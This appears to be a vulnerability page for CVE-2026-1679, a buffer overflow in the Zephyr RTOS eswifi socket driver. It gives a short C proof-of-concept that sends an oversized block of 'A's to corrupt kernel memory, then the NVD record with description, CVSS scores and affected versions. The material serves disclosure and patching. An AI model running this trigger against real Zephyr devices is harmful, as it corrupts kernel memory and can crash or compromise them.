CVE-2026-1679

/* * PoC for CVE-2026-1679: eswifi buffer overflow * This code demonstrates the concept of overflowing the buffer * by sending data larger than the fixed buffer size. */ #include <zephyr/net/socket.h> #include <zephyr/kernel.h> #define ESWIFI_BUF_SIZE 128 // Assumed buffer size based on driver implementation #define OVERFLOW_SIZE 256 // Payload size large enough to cause overflow void trigger_vulnerability(int sock_fd) { char payload[OVERFLOW_SIZE]; // Initialize payload with 'A's memset(payload, 'A', sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; printk("Sending oversized payload to trigger overflow...\n"); // The send call will copy payload into eswifi->buf without size check // causing a buffer overflow on the kernel heap/stack. int ret = send(sock_fd, payload, OVERFLOW_SIZE, 0); if (ret < 0) { printk("Send failed (error: %d)\n", errno); } else { printk("Payload sent successfully, memory corruption likely occurred.\n"); } }

{"cve": {"id": "CVE-2026-1679", "sourceIdentifier": "[email protected]", "published": "2026-03-28T00:16:04.740", "lastModified": "2026-03-31T20:35:00.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The eswifi socket offload driver copies user-provided payloads into a fixed buffer without checking available space; oversized sends overflow `eswifi->buf`, corrupting kernel memory (CWE-120). Exploit requires local code that can call the socket send API; no remote attacker can reach it directly."}, {"lang": "es", "value": "El controlador de descarga de sockets eswifi copia las cargas útiles proporcionadas por el usuario en un búfer fijo sin verificar el espacio disponible; los envíos de tamaño excesivo desbordan 'eswifi-&gt;buf', corrompiendo la memoria del kernel (CWE-120). El exploit requiere código local que pueda llamar a la API de envío de sockets; ningún atacante remoto puede alcanzarlo directamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zephyrproject:zephyr:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.3.0", "matchCriteriaId": "7D912614-A39E-4C9B-AA54-187BC26337B9"}]}]}], "references": [{"url": "https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-qx3g-5g22-fq5w", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}